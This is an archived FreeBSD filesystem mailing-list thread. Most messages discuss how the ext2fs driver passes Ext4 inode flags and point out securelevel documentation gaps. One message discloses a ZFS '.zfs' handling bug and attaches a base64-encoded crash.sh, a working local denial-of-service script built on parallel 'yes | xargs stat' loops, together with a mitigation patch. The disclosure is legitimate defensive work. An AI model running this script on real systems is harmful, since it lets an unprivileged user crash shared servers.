chez.mckusick.com (localhost [127.0.0.1]) by chez.mckusick.com (8.14.3/8.14.3) with ESMTP id s0H27NeY032950; Thu, 16 Jan 2014 18:07:23 -0800 (PST) (envelope-from mckusick@chez.mckusick.com) Message-Id: <201401170207.s0H27NeY032950@chez.mckusick.com> To: Pedro Giffuni Subject: Re: issues Ext4 inode flags In-reply-to: <52D80961.2040102@FreeBSD.org> Date: Thu, 16 Jan 2014 18:07:23 -0800 From: Kirk McKusick Cc: fs@freebsd.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jan 2014 02:07:27 -0000 > Date: Thu, 16 Jan 2014 11:31:29 -0500 > From: Pedro Giffuni > To: fs@freebsd.org > Subject: issues Ext4 inode flags > > Hello; > > I have been working around some issues in our ext2/3/4 support and > there is this problem: > > Before r260545 we were passing the Ext2/3/4 flags with some > conversion into the inode i_flags. Since our system flags don't > match the linux flags this actually introduced a lot of garbage. > > r260545 cut the garbage completely but it also does not pass > the EXT4 flags of which we need two for our ext4 ro implementation: > EXT4_EXTENTS and EXT4_INDEX. We also use EXT4_HUGE_FILE > but we can read that directly from the dinode. > > The flags are pretty specific to Ext4 so it doesn't make sense to add > them to to our stat.h and include them in the inode conversion routines. > > I have two options: > > 1- Pass only the flags that we need and clear the rest. > Obviously a hack, this seems this is somewhat safer and has > worked so far as it only applies to the read-only ext4. There is > still some space for collision: > EXT4_INDEX --> UF_READONLY > EXT4_EXTENTS --> UF_HIDDEN > > The patch is here: > http://people.freebsd.org/~pfg/patches/ext2fs/ext2fs-passinode.patch > > 2- Create a field in the inode specifically to carry the Ext4_* inode flags. > This. of course, costs memory for a feature that is rarely used but > is cleaner and may be useful if we ever add write support. > > The proof-of-concept patch is here: > http://people.freebsd.org/~pfg/patches/ext2fs/ext2fs-inode.patch > > I am inclining towards option (1): it's rather hackish but it > just works and I don't forsee us doing much efforts to support > ext4 much better in the future. > > Both patches re-enable dirindex for testing purposes. > Comments and testing are welcome. > > Pedro. Given your belief that write support for ext4 is unlikely, I agree with your option 1 preference. However, if write support is to be added for ext4, then I think that option 2 would be better. In theory, it is possible to migrate to option 2 later if/when write support is added assuming you have a version number that you can bump. Kirk McKusick From owner-freebsd-fs@FreeBSD.ORG Fri Jan 17 02:11:50 2014 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5263E126; Fri, 17 Jan 2014 02:11:50 +0000 (UTC) Received: from pi.nmdps.net (pi.nmdps.net [109.61.102.5]) by mx1.freebsd.org (Postfix) with ESMTP id DEE161FFB; Fri, 17 Jan 2014 02:11:49 +0000 (UTC) Received: from pi.nmdps.net (pi.nmdps.net [109.61.102.5]) (Authenticated sender: krichy@cflinux.hu) by pi.nmdps.net (Postfix) with ESMTPSA id D16B3178C; Fri, 17 Jan 2014 03:11:47 +0100 (CET) Date: Fri, 17 Jan 2014 03:11:44 +0100 (CET) From: Richard Kojedzinszky X-X-Sender: krichy@pi.nmdps.net To: freebsd-fs@freebsd.org Subject: ZFS .zfs DoS Message-ID: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="2628712688-1861051549-1389924707=:83798" Cc: freebsd-security@freebsd.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jan 2014 02:11:50 -0000 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --2628712688-1861051549-1389924707=:83798 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII Dear users, For a long time now I've been investigating problems relating FreeBSD ZFS .zfs handling, and found that I am not enough to fix issues. Until fixes arrive, unfortunately a regular user can DoS a FreeBSD system which has ZFS filesystems with the attached script. While the script expects a snapshot argument to be given, actually the first test case does not need that, only a mounted zfs filesystem is enough. For more of the tests a snapshot may be needed, and later ones need root account also. I would recommend that until this gets rewritten or fixed at all, one should disable access to .zfs at all with someting like I've attached. Regards, Kojedzinszky Richard --2628712688-1861051549-1389924707=:83798 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=crash.sh Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=crash.sh IyEvYmluL2Jhc2gNCg0Kc25hcHNob3Q9IiQxIg0KaWYgWyAteiAiJHNuYXBz aG90IiBdOyB0aGVuDQoJZWNobyAiRnJlZUJTRC9aRlMgc25hcHNob3QgaGFu ZGxpbmcgYnVnIg0KCWVjaG8gIiINCgllY2hvICJVc2FnZTogJDAgPHpmcyBz bmFwc2hvdD4iDQoJZXhpdCAxDQpmaQ0KDQpzbmFwc2hvdD0iJCh6ZnMgbGlz dCAtdCBzbmFwc2hvdCAtSCAtbyBuYW1lICIkc25hcHNob3QiKSINCmlmIFsg LXogIiRzbmFwc2hvdCIgXTsgdGhlbg0KCWVjaG8gIlNuYXBzaG90IG5vdCBm b3VuZCINCglleGl0IDINCmZpDQoNCmRhdGFzZXQ9IiR7c25hcHNob3QlQCp9 Ig0Kc249IiR7c25hcHNob3QjKkB9Ig0KbW91bnRwb2ludD0kKG1vdW50IHwg Z3JlcCAiXiRkYXRhc2V0W1s6c3BhY2U6XV0iIHwgYXdrICd7cHJpbnQgJDN9 JykNCg0KaWYgWyAhIC1kICIkbW91bnRwb2ludCIgXTsgdGhlbg0KCWVjaG8g IkNvdWxkIG5vdCBkZXRlcm1pbmUgbW91bnQgcG9pbnQgZm9yICRkYXRhc2V0 Ig0KCWV4aXQgMw0KZmkNCg0KZWNobyAiKiogZGF0YXNldD0kZGF0YXNldCBz bmFwbmFtZT0kc24gbW91bnRlZD0kbW91bnRwb2ludCINCg0KY2QgIiRtb3Vu dHBvaW50Ly56ZnMiDQp5ZXMgc25hcHNob3QgfCB4YXJncyBzdGF0ID4gL2Rl di9udWxsICYNCnllcyBzbmFwc2hvdCB8IHhhcmdzIHN0YXQgPiAvZGV2L251 bGwgJg0KDQojY2QgIiRtb3VudHBvaW50Ly56ZnMvc25hcHNob3QiDQojeWVz ICIkc24iIHwgeGFyZ3MgdW1vdW50ID4gL2Rldi9udWxsICYNCiN5ZXMgIiRz biIgfCB4YXJncyB1bW91bnQgPiAvZGV2L251bGwgJg0KI3llcyAiJG1vdW50 cG9pbnQvLnpmcy9zbmFwc2hvdC8kc24iIHwgeGFyZ3MgdW1vdW50ID4gL2Rl di9udWxsICYNCiN5ZXMgIiRtb3VudHBvaW50Ly56ZnMvc25hcHNob3QvJHNu IiB8IHhhcmdzIHVtb3VudCA+IC9kZXYvbnVsbCAmDQojeWVzICIkc24iIHwg eGFyZ3Mgc3RhdCA+IC9kZXYvbnVsbCAmDQojeWVzICIkc24iIHwgeGFyZ3Mg c3RhdCA+IC9kZXYvbnVsbCAmDQojeWVzICIkc24vLi4iIHwgeGFyZ3Mgc3Rh dCA+IC9kZXYvbnVsbCAmDQojeWVzICIkc24vLi4iIHwgeGFyZ3Mgc3RhdCA+ IC9kZXYvbnVsbCAmDQojeWVzICIuIiB8IHhhcmdzIGxzIC1sYSA+IC9kZXYv bnVsbCAmDQojeWVzICIuIiB8IHhhcmdzIGxzIC1sYSA+IC9kZXYvbnVsbCAm DQoNCiN5ZXMgIiRzbmFwc2hvdCIgfCB4YXJncyAtbiAxIHpmcyBzZW5kIC1S ID4gL2Rldi9udWxsICYNCg== --2628712688-1861051549-1389924707=:83798 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=no_dot_zfs_at_all.patch Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=no_dot_zfs_at_all.patch ZGlmZiAtLWdpdCBhL3N5cy9jZGRsL2NvbnRyaWIvb3BlbnNvbGFyaXMvdXRz L2NvbW1vbi9mcy96ZnMvemZzX3Zmc29wcy5jIGIvc3lzL2NkZGwvY29udHJp Yi9vcGVuc29sYXJpcy91dHMvY29tbW9uL2ZzL3pmcy96ZnNfdmZzb3BzLmMN CmluZGV4IDhlYjg5NTMuLjI3ZjQyYmQgMTAwNjQ0DQotLS0gYS9zeXMvY2Rk bC9jb250cmliL29wZW5zb2xhcmlzL3V0cy9jb21tb24vZnMvemZzL3pmc192 ZnNvcHMuYw0KKysrIGIvc3lzL2NkZGwvY29udHJpYi9vcGVuc29sYXJpcy91 dHMvY29tbW9uL2ZzL3pmcy96ZnNfdmZzb3BzLmMNCkBAIC0xMjI3LDggKzEy MjcsMTAgQEAgemZzX2RvbW91bnQodmZzX3QgKnZmc3AsIGNoYXIgKm9zbmFt ZSkNCiAJVkVSSUZZKFZGU19ST09UKHZmc3AsIExLX0VYQ0xVU0lWRSwgJnZw KSA9PSAwKTsNCiAJVk9QX1VOTE9DSyh2cCwgMCk7DQogDQorI2lmIDANCiAJ aWYgKCF6ZnN2ZnMtPnpfaXNzbmFwKQ0KIAkJemZzY3RsX2NyZWF0ZSh6ZnN2 ZnMpOw0KKyNlbmRpZg0KIG91dDoNCiAJaWYgKGVycm9yKSB7DQogCQlkbXVf b2Jqc2V0X2Rpc293bih6ZnN2ZnMtPnpfb3MsIHpmc3Zmcyk7DQpAQCAtMTk2 MCw4ICsxOTYyLDEwIEBAIHpmc191bW91bnQodmZzX3QgKnZmc3AsIGludCBm ZmxhZykNCiAJCQkJcmV0dXJuIChFQlVTWSk7DQogCQkJQVNTRVJUKHpmc3Zm cy0+el9jdGxkaXItPnZfY291bnQgPT0gMSk7DQogCQl9DQorI2lmIDANCiAJ CXpmc2N0bF9kZXN0cm95KHpmc3Zmcyk7DQogCQlBU1NFUlQoemZzdmZzLT56 X2N0bGRpciA9PSBOVUxMKTsNCisjZW5kaWYNCiAJfQ0KIA0KIAlpZiAoZmZs YWcgJiBNU19GT1JDRSkgew0KQEAgLTE5ODAsMTAgKzE5ODQsMTIgQEAgemZz X3Vtb3VudCh2ZnNfdCAqdmZzcCwgaW50IGZmbGFnKQ0KIAkgKi8NCiAJcmV0 ID0gdmZsdXNoKHZmc3AsIDEsIChmZmxhZyAmIE1TX0ZPUkNFKSA/IEZPUkNF Q0xPU0UgOiAwLCB0ZCk7DQogCWlmIChyZXQgIT0gMCkgew0KKyNpZiAwDQog CQlpZiAoIXpmc3Zmcy0+el9pc3NuYXApIHsNCiAJCQl6ZnNjdGxfY3JlYXRl KHpmc3Zmcyk7DQogCQkJQVNTRVJUKHpmc3Zmcy0+el9jdGxkaXIgIT0gTlVM TCk7DQogCQl9DQorI2VuZGlmDQogCQlyZXR1cm4gKHJldCk7DQogCX0NCiAN CkBAIC0yMDM0LDggKzIwNDAsMTAgQEAgemZzX3Vtb3VudCh2ZnNfdCAqdmZz cCwgaW50IGZmbGFnKQ0KIAkvKg0KIAkgKiBXZSBjYW4gbm93IHNhZmVseSBk ZXN0cm95IHRoZSAnLnpmcycgZGlyZWN0b3J5IG5vZGUuDQogCSAqLw0KKyNp ZiAwDQogCWlmICh6ZnN2ZnMtPnpfY3RsZGlyICE9IE5VTEwpDQogCQl6ZnNj dGxfZGVzdHJveSh6ZnN2ZnMpOw0KKyNlbmRpZg0KIAlpZiAoemZzdmZzLT56 X2lzc25hcCkgew0KIAkJdm5vZGVfdCAqc3ZwID0gdmZzcC0+bW50X3Zub2Rl Y292ZXJlZDsNCiANCg== --2628712688-1861051549-1389924707=:83798-- From owner-freebsd-fs@FreeBSD.ORG Fri Jan 17 03:11:56 2014 Return-Path: Delivered-To: fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3CB3EDC1 for ; Fri, 17 Jan 2014 03:11:56 +0000 (UTC) Received: from nm9-vm0.bullet.mail.bf1.yahoo.com (nm9-vm0.bullet.mail.bf1.yahoo.com [98.139.213.154]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D06C1164C for ; Fri, 17 Jan 2014 03:11:55 +0000 (UTC) Received: from [98.139.212.153] by nm9.bullet.mail.bf1.yahoo.com with NNFMP; 17 Jan 2014 03:11:48 -0000 Received: from [68.142.230.71] by tm10.bullet.mail.bf1.yahoo.com with NNFMP; 17 Jan 2014 03:11:48 -0000 Received: from [127.0.0.1] by smtp228.mail.bf1.yahoo.com with NNFMP; 17 Jan 2014 03:11:48 -0000 X-Yahoo-Newman-Id: 586402.33601.bm@smtp228.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: o3eX8cAVM1m84zUUVSFnHcleoeUHli.MydbJC7QCR8GAVvj tlvLvHP9GOdV38TB8msdcuwAKA.l7C.Ka3Rt7QYnjUilrLXVdmmECQ.4RunQ sCnTkLapoBRi8DeIaO1cUE4psTLDv81NWLnj_6cgNDxnZqIGuvD.S1oRNlV3 AzlAE_Q4eJ28h20ORstbs_1t0yB6VzbKMww7YBdNk6vo46bemufwA1LlRQOv pKW6Z82OvHpF642e_t4ufcqI209R9Kgu6Sof1dO35dQjtwWEfIpMh0Fp8mrL kDZ3lihxs.aSameCiIAbqFgrUz0jn.R9U59FcanBA5V4kKzw9Oc.RC0ukgV1 UVz1Mqa5IOxXYVAWqZE0C5via9Mxl0cYRlTmBB5oqaaktZs70gqJBHIVYn3y BAM.yzuO3fJl_NvbWwKcGVmHLcf41CXABD9uSRFCHcL92GeISsqXueHpinLG WnxX5Dl_Lr0Cu_TpldjMATNV1H2om.b36C0pbgHVz62trJMhWlx8m6A09lYo 1fCoe0HcUWDJzsV89uhPNX1hl1KTYPMUkvfoRCD.gvDcnEO.Qwg7PlrY- X-Yahoo-SMTP: xcjD0guswBAZaPPIbxpWwLcp9Unf X-Rocket-Received: from [192.168.0.101] (pfg@190.157.126.109 with plain [98.139.211.125]) by smtp228.mail.bf1.yahoo.com with SMTP; 17 Jan 2014 03:11:48 +0000 UTC Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: issues Ext4 inode flags From: Pedro Giffuni In-Reply-To: <201401170207.s0H27NeY032950@chez.mckusick.com> Date: Thu, 16 Jan 2014 22:11:45 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: <08A6A8AC-3994-4C14-926B-BB020E7BA8BF@FreeBSD.org> References: <201401170207.s0H27NeY032950@chez.mckusick.com> To: Kirk McKusick X-Mailer: Apple Mail (2.1827) Cc: fs@freebsd.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jan 2014 03:11:56 -0000 Hello Kirk; Il giorno 16/gen/2014, alle ore 21:07, Kirk McKusick = ha scritto: >> Date: Thu, 16 Jan 2014 11:31:29 -0500 >> From: Pedro Giffuni >> To: fs@freebsd.org >> Subject: issues Ext4 inode flags >>=20 >> Hello; >>=20 >> I have been working around some issues in our ext2/3/4 support and >> there is this problem: >>=20 >> Before r260545 we were passing the Ext2/3/4 flags with some >> conversion into the inode i_flags. Since our system flags don't >> match the linux flags this actually introduced a lot of garbage. >>=20 >> r260545 cut the garbage completely but it also does not pass >> the EXT4 flags of which we need two for our ext4 ro implementation: >> EXT4_EXTENTS and EXT4_INDEX. We also use EXT4_HUGE_FILE >> but we can read that directly from the dinode. >>=20 >> The flags are pretty specific to Ext4 so it doesn't make sense to add >> them to to our stat.h and include them in the inode conversion = routines. >>=20 >> I have two options: >>=20 >> 1- Pass only the flags that we need and clear the rest. >> Obviously a hack, this seems this is somewhat safer and has >> worked so far as it only applies to the read-only ext4. There is >> still some space for collision: >> EXT4_INDEX --> UF_READONLY >> EXT4_EXTENTS --> UF_HIDDEN >>=20 >> The patch is here: >> http://people.freebsd.org/~pfg/patches/ext2fs/ext2fs-passinode.patch >>=20 >> 2- Create a field in the inode specifically to carry the Ext4_* inode = flags. >> This. of course, costs memory for a feature that is rarely used but >> is cleaner and may be useful if we ever add write support. >>=20 >> The proof-of-concept patch is here: >> http://people.freebsd.org/~pfg/patches/ext2fs/ext2fs-inode.patch >>=20 >> I am inclining towards option (1): it's rather hackish but it >> just works and I don't forsee us doing much efforts to support >> ext4 much better in the future. >>=20 >> Both patches re-enable dirindex for testing purposes. >> Comments and testing are welcome. >>=20 >> Pedro. >=20 > Given your belief that write support for ext4 is unlikely, I agree > with your option 1 preference. However, if write support is to be > added for ext4, then I think that option 2 would be better. In > theory, it is possible to migrate to option 2 later if/when write > support is added assuming you have a version number that you can > bump. >=20 Thank you for the feedback. For the record, I think adding Ext4 write support is possible and it = doesn=92t seem particularly difficult (option 2 took me only a few = minutes to implement). The design is somewhat poor and not really meant = for portability though and there are other filesystems around that are = much more interesting. As with anything where decisions are taken elsewhere, the version number = is not an option we can use, the best I can do is document things well = so that anyone with the time and motivation will not have to find out = the hard way. Cheers, Pedro.=20 From owner-freebsd-fs@FreeBSD.ORG Fri Jan 17 13:40:48 2014 Return-Path: Delivered-To: fs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CEA7F646; Fri, 17 Jan 2014 13:40:48 +0000 (UTC) Received: from mail110.syd.optusnet.com.au (mail110.syd.optusnet.com.au [211.29.132.97]) by mx1.freebsd.org (Postfix) with ESMTP id 62D34149C; Fri, 17 Jan 2014 13:40:44 +0000 (UTC) Received: from c122-106-144-87.carlnfd1.nsw.optusnet.com.au (c122-106-144-87.carlnfd1.nsw.optusnet.com.au [122.106.144.87]) by mail110.syd.optusnet.com.au (Postfix) with ESMTPS id 73381780A52; Sat, 18 Jan 2014 00:40:36 +1100 (EST) Date: Sat, 18 Jan 2014 00:40:35 +1100 (EST) From: Bruce Evans X-X-Sender: bde@besplex.bde.org To: Pedro Giffuni Subject: Re: issues Ext4 inode flags In-Reply-To: <52D80961.2040102@FreeBSD.org> Message-ID: <20140117233706.H1059@besplex.bde.org> References: <52D80961.2040102@FreeBSD.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Optus-CM-Score: 0 X-Optus-CM-Analysis: v=2.1 cv=HZAtEE08 c=1 sm=1 tr=0 a=p/w0leo876FR0WNmYI1KeA==:117 a=PO7r1zJSAAAA:8 a=kj9zAlcOel0A:10 a=JzwRw_2MAAAA:8 a=OT28y-NoEhIA:10 a=6I5d2MoRAAAA:8 a=A_hHCzg4IqWx3gV8BJMA:9 a=CjuIK1q_8ugA:10 Cc: fs@FreeBSD.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jan 2014 13:40:49 -0000 On Thu, 16 Jan 2014, Pedro Giffuni wrote: > I have been working around some issues in our ext2/3/4 support and > there is this problem: > > Before r260545 we were passing the Ext2/3/4 flags with some > conversion into the inode i_flags. Since our system flags don't > match the linux flags this actually introduced a lot of garbage. > > r260545 cut the garbage completely but it also does not pass > the EXT4 flags of which we need two for our ext4 ro implementation: > EXT4_EXTENTS and EXT4_INDEX. We also use EXT4_HUGE_FILE > but we can read that directly from the dinode. > > The flags are pretty specific to Ext4 so it doesn't make sense to add > them to to our stat.h and include them in the inode conversion routines. These flags seem to be unrelated to the ones controlled by chflags(2). ext*fs just packs them into the same word. > I have two options: > > 1- Pass only the flags that we need and clear the rest. > Obviously a hack, this seems this is somewhat safer and has > worked so far as it only applies to the read-only ext4. There is > still some space for collision: > EXT4_INDEX --> UF_READONLY > EXT4_EXTENTS --> UF_HIDDEN > > The patch is here: > http://people.freebsd.org/~pfg/patches/ext2fs/ext2fs-passinode.patch There is plenty of space to spare, so don't use existing file flags or return the non-file-flags as garbage in the file flags word. This amounts to using a new field, except masking out these flags in ext2fs_get/setattr() is not so automatic. Only the masking in ext2fs_getattr() is very easy. > 2- Create a field in the inode specifically to carry the Ext4_* inode flags. > This. of course, costs memory for a feature that is rarely used but > is cleaner and may be useful if we ever add write support. Miscellaneous non-file-flags can also be stored in i_flag. BTW, ntfs was much more broken than ext2fs here. It confused i_flag with the file flags i_flags. It never supported file flags, but returned the garbage in i_flag as the file flags. i_flag contains mainly the highly volatile flags IN_MODIFIED, etc., but ntfs didn't support writing so it never set these. It used i_flag for a couple of ntfs-specific flags whose values start a bit above IN_MODIFIED. These numbers are still small, so the conflicted with numbers for file flags. BTW2, comparison of ext2fs_setattr() with ufs_setattr() for flags setting shows some minor bugs: - ext2fs_setattr() is missing an inode update after changing the file flags - both have a too-verbose comment about how securelevel governs changing file flags. The one in ext2fs has rotted, so it is now incomplete (it is missing details about how securelevel itself is governed by the security.jail.chflags_allowed sysctl). The one in ffs has this detail, so it is even more verbose. Details about the restrictions imposed by priv_check_cred(... PRIV_CHECK_SYSFLAGS ...) don't belong in individual file systems! This API exists partly to hide the details. However, this is misdocumented even worse in other places: - the security.jail.chflags allowed sysctl is not documented in any man page. - the secuity(7) man page also doesn't mention any sysctl in the security tree, or even "jail" - the chflags(2) man page mentions securelevel. It refers to init(8) for details, but also gives some details (mainly in descriprions of error numbers). These details are now incomplete. It is difficult to give all the details without repeating too much (this man page now tries to repeat all the details for 2 cases of [EPERM]) or being too general to be useful (like POSIX saying "appropriate privilege" where appropriateness is very system-dependent and rarely documented). - the pointer to init(8) is stale. init(8) no longer contains many but refers to securelevel(7) for them. It gives a few details. These are incomplete as usual. - the chflags(1) man page refers to securelevel(7) for all the details. Bruce From owner-freebsd-fs@FreeBSD.ORG Fri Jan 17 15:47:58 2014 Return-Path: Delivered-To: fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B79371A2 for ; Fri, 17 Jan 2014 15:47:58 +0000 (UTC) Received: from nm36-vm8.bullet.mail.bf1.yahoo.com (nm36-vm8.bullet.mail.bf1.yahoo.com [72.30.239.70]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 69A0C1F9E for ; Fri, 17 Jan 2014 15:47:58 +0000 (UTC) Received: from [98.139.212.150] by nm36.bullet.mail.bf1.yahoo.com with NNFMP; 17 Jan 2014 15:47:51 -0000 Received: from [98.139.211.163] by tm7.bullet.mail.bf1.yahoo.com with NNFMP; 17 Jan 2014 15:47:51 -0000 Received: from [127.0.0.1] by smtp220.mail.bf1.yahoo.com with NNFMP; 17 Jan 2014 15:47:51 -0000 X-Yahoo-Newman-Id: 523208.51382.bm@smtp220.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: b_vYjwIVM1k0rmmsO35UcINosYILk7tzqaerZfKL3Vw6wi4 auzOaEqscwtrPG0txlZW_fv7fPXA4A9E4R9tIg5eAxReh2dL9ufkNd4YSJRl RmEqmhf4cgWdYzrgq0JTkCJcVVgoK3uYwsJb.lZG4UdAWTYeFxGS8A4M5FG7 EEKVKL6OAyJbbYbCXj1l.UX0Zu_uoDFkFeMF5CIE.Of0iPWzzPsQ03VqzyCT Kgjhikxrr3CN1NuFUVEQS.OUXz9VzpyIbt1WkNkXbTMouiUW_pWNQ8L2y75g NVQNRpsrTc6HLX9sr6w0d2QogthW9nbWRomZdcZYRDdsK8fyjAb72s6Qg8jg mpaATmbb.dTX3yupAO2o8iScIQZoD1O6wdKwy2Ss6Y4Uvb8_bKJwMAfO1t0y uwhmlb5KQdMTNQi4zyHXfe12L34w8357zMy2VCKvcbvp87QPr8O9iqRqf5R7 0Wk.jUuFNeqpfelep08MS3XWPVZk2y7dd1ly6lzp.j99tAqKsLUsmW9ZJI3k ID1e6Wb9IZoZOdU5rG5sWgqWQ3eFrSqnklCDnL3QJO04PytlE3Dth.9nmuo9 7gQ0kcTlm.Jj0ctLnmBrKxj4kyxdA.W165qojL2_syNu.y2RfI7bsJB7GA6v paCbH1H2SlPAqEuIV582LWXWJCuu74dcghBdYX2MpJrim6we1RvUrvwU- X-Yahoo-SMTP: xcjD0guswBAZaPPIbxpWwLcp9Unf X-Rocket-Received: from [192.168.0.102] (pfg@190.157.126.109 with plain [98.139.211.125]) by smtp220.mail.bf1.yahoo.com with SMTP; 17 Jan 2014 15:47:51 +0000 UTC Message-ID: <52D950A5.7050409@FreeBSD.org> Date: Fri, 17 Jan 2014 10:47:49 -0500 From: Pedro Giffuni User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Bruce Evans Subject: Re: issues Ext4 inode flags References: <52D80961.2040102@FreeBSD.org> <20140117233706.H1059@besplex.bde.org> In-Reply-To: <20140117233706.H1059@besplex.bde.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: fs@FreeBSD.org X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jan 2014 15:47:58 -0000 On 17.01.2014 08:40, Bruce Evans wrote: > On Thu, 16 Jan 2014, Pedro Giffuni wrote: > >> I have been working around some issues in our ext2/3/4 support and >> there is this problem: >> >> Before r260545 we were passing the Ext2/3/4 flags with some >> conversion into the inode i_flags. Since our system flags don't >> match the linux flags this actually introduced a lot of garbage. >> >> r260545 cut the garbage completely but it also does not pass >> the EXT4 flags of which we need two for our ext4 ro implementation: >> EXT4_EXTENTS and EXT4_INDEX. We also use EXT4_HUGE_FILE >> but we can read that directly from the dinode. >> >> The flags are pretty specific to Ext4 so it doesn't make sense to add >> them to to our stat.h and include them in the inode conversion routines. > > These flags seem to be unrelated to the ones controlled by chflags(2). > ext*fs just packs them into the same word. > >> I have two options: >> >> 1- Pass only the flags that we need and clear the rest. >> Obviously a hack, this seems this is somewhat safer and has >> worked so far as it only applies to the read-only ext4. There is >> still some space for collision: >> EXT4_INDEX --> UF_READONLY >> EXT4_EXTENTS --> UF_HIDDEN >> >> The patch is here: >> http://people.freebsd.org/~pfg/patches/ext2fs/ext2fs-passinode.patch > > There is plenty of space to spare, so don't use existing file flags or > return the non-file-flags as garbage in the file flags word. This > amounts > to using a new field, except masking out these flags in > ext2fs_get/setattr() > is not so automatic. Only the masking in ext2fs_getattr() is very easy. > Ah yes. I can set up some private flags. I am never ever writing EXT4_* flags to the dinode because we don't support ext4 in write mode so I don't need to set them at all, just check if they exist. I will do that, thank you. >> 2- Create a field in the inode specifically to carry the Ext4_* inode >> flags. >> This. of course, costs memory for a feature that is rarely used but >> is cleaner and may be useful if we ever add write support. > > Miscellaneous non-file-flags can also be stored in i_flag. > > BTW, ntfs was much more broken than ext2fs here. It confused i_flag with > the file flags i_flags. It never supported file flags, but returned the > garbage in i_flag as the file flags. i_flag contains mainly the highly > volatile flags IN_MODIFIED, etc., but ntfs didn't support writing so it > never set these. It used i_flag for a couple of ntfs-specific flags > whose values start a bit above IN_MODIFIED. These numbers are still > small, so the conflicted with numbers for file flags. > FWIW, We still have some Windows-related inode flags in stat.h.They do seem more pertinent for system utilities than the EXT4_* flags though. > BTW2, comparison of ext2fs_setattr() with ufs_setattr() for flags setting > shows some minor bugs: Thanks for providing more tasks, just when I thought I was wrapping up ;). Pedro. > - ext2fs_setattr() is missing an inode update after changing the file > flags > - both have a too-verbose comment about how securelevel governs changing > file flags. The one in ext2fs has rotted, so it is now incomplete > (it is missing details about how securelevel itself is governed by > the security.jail.chflags_allowed sysctl). The one in ffs has this > detail, so it is even more verbose. Details about the restrictions > imposed by priv_check_cred(... PRIV_CHECK_SYSFLAGS ...) don't belong > in individual file systems! This API exists partly to hide the > details. > However, this is misdocumented even worse in other places: > - the security.jail.chflags allowed sysctl is not documented in any > man page. > - the secuity(7) man page also doesn't mention any sysctl in the > security tree, or even "jail" > - the chflags(2) man page mentions securelevel. It refers to init(8) > for details, but also gives some details (mainly in descriprions of > error numbers). These details are now incomplete. It is difficult > to give all the details without repeating too much (this man page > now tries to repeat all the details for 2 cases of [EPERM]) or > being too general to be useful (like POSIX saying "appropriate > privilege" where appropriateness is very system-dependent and > rarely documented). > - the pointer to init(8) is stale. init(8) no longer contains many > but refers to securelevel(7) for them. It gives a few details. > These > are incomplete as usual. > - the chflags(1) man page refers to securelevel(7) for all the details. > > Bruce